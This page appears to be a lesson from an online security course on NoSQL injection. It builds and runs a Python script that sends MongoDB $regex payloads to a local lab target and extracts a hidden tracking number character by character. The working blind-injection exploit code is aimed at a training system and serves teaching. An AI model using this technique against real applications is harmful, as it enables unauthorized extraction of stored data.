Introduction to NoSQL Injection
Automating Blind Data Extraction
Scenario
Manually extracting data via blind injection gets tedious very quickly. Luckily, it is very easily automated, so let's do that.
We've already dumped the trackingNum for Franz's package, so we will use a new target for this section. There is a package addressed to bmdyy with the tracking number HTB{... that we will dump.

If you already know a bit of Python(3) that's super, but this section should be simple enough to understand even if you don't.
Developing the Script
The first thing we will do is create a function for querying the 'oracle'.
import requests
import json
# Oracle
def oracle(t):
r = requests.post(
"http://127.0.0.1/index.php",
headers = {"Content-Type": "application/json"},
data = json.dumps({"trackingNum": t})
)
return "bmdyy" in r.text
This function will send a POST request to /index.php and set the value of trackingNum to whatever query we want. It then checks if the response contains the text bmdyy, which indicates our query matched our target package.
We can verify if the oracle function works as intended with a pair of assert statements that test known answers. In this case, we know there is no tracking number X, so we can verify that the oracle returns False when it sends a request with trackingNum: "X". Furthermore, we know that there is a tracking number HTB{.*, so we can verify that the oracle function returns True.
# Make sure the oracle is functioning correctly
assert (oracle("X") == False)
assert (oracle({"$regex": "HTB{.*"}) == True)
If we run this and everything is set up correctly, there should be no output. If you have some output, then there is most likely a typo in your code (like in this example, lowercase b instead of B):
[!bash!]$ python3 mangopost-exploit.py
Traceback (most recent call last):
File "/...SNIP.../mangopost-exploit.py", line 18, in <module>
assert (req({"$regex": "^HTb{.*"}) == True)
AssertionError
Once we have the oracle function ready and verified as working correctly, we can proceed to work on actually dumping the tracking number.
For this section, we can assume the tracking number matches the following format: ^HTB\{[0-9a-f]{32}\}$ aka HTB{ followed by 32 characters [0-9a-f] followed by a }. Knowing this, we can limit our search to only these characters and significantly reduce the number of requests it will take.
# Dump the tracking number
trackingNum = "HTB{" # Tracking number is known to start with 'HTB{'
for _ in range(32): # Repeat the following 32 times
for c in "0123456789abcdef": # Loop through characters [0-9a-f]
if oracle({"$regex": "^" + trackingNum + c}): # Check if <trackingNum> + <char> matches with $regex
trackingNum += c # If it does, append character to trackingNum ...
break # ... and break out of the loop
trackingNum += "}" # Append known '}' to end of tracking number
This code will generate RegEx queries and use the oracle to dump one character at a time until all the characters are known. Once the code finishes, we can verify that the tracking number is correct with another assert and print it out:
# Make sure the tracking number is correct
assert (oracle(trackingNum) == True)
print("Tracking Number: " + trackingNum)
The finished script
Putting everything together, the completed script should look like this:
#!/usr/bin/python3
import requests
import json
# Oracle
def oracle(t):
r = requests.post(
"http://127.0.0.1/index.php",
headers = {"Content-Type": "application/json"},
data = json.dumps({"trackingNum": t})
)
return "bmdyy" in r.text
# Make sure the oracle is functioning correctly
assert (oracle("X") == False)
assert (oracle({"$regex": "^HTB{.*"}) == True)
# Dump the tracking number
trackingNum = "HTB{" # Tracking number is known to start with 'HTB{'
for _ in range(32): # Repeat the following 32 times
for c in "0123456789abcdef": # Loop through characters [0-9a-f]
if oracle({"$regex": "^" + trackingNum + c}): # Check if <trackingNum> + <char> matches with $regex
trackingNum += c # If it does, append character to trackingNum ...
break # ... and break out of the loop
trackingNum += "}" # Append known '}' to end of tracking number
# Make sure the tracking number is correct
assert (oracle(trackingNum) == True)
print("Tracking Number: " + trackingNum)
Running this script should dump the tracking number successfully. Since the alphabet (0-9a-f) is so small, the process goes very quickly; in this case, it only takes around 20 seconds.
[!bash!]$ time python3 mangopost-exploit.py
Tracking Number: HTB{...SNIP...}
real 0m23.006s
user 0m0.419s
sys 0m0.033s
/ 1 spawns left
Questions
Answer the question(s) below to complete this Section and earn cubes!
Click here to spawn the target system!
Target:
Click here to spawn the target system!
+10 Streak pts
Table of Contents
Introduction
Introduction to NoSQL Introduction to NoSQL InjectionBasic NoSQL Injection
Bypassing Authentication In-Band Data ExtractionBlind Data Exfiltration
Blind Data Extraction Automating Blind Data Extraction Server-Side JavaScript Injection Automating Server-Side JavaScript InjectionTools of the Trade
Tools of the TradeDefending against NoSQL Injection
Preventing NoSQL Injection VulnerabilitiesSkills Assessment
Skills Assessment I Skills Assessment IIMy Workstation
OFFLINE
/ 1 spawns left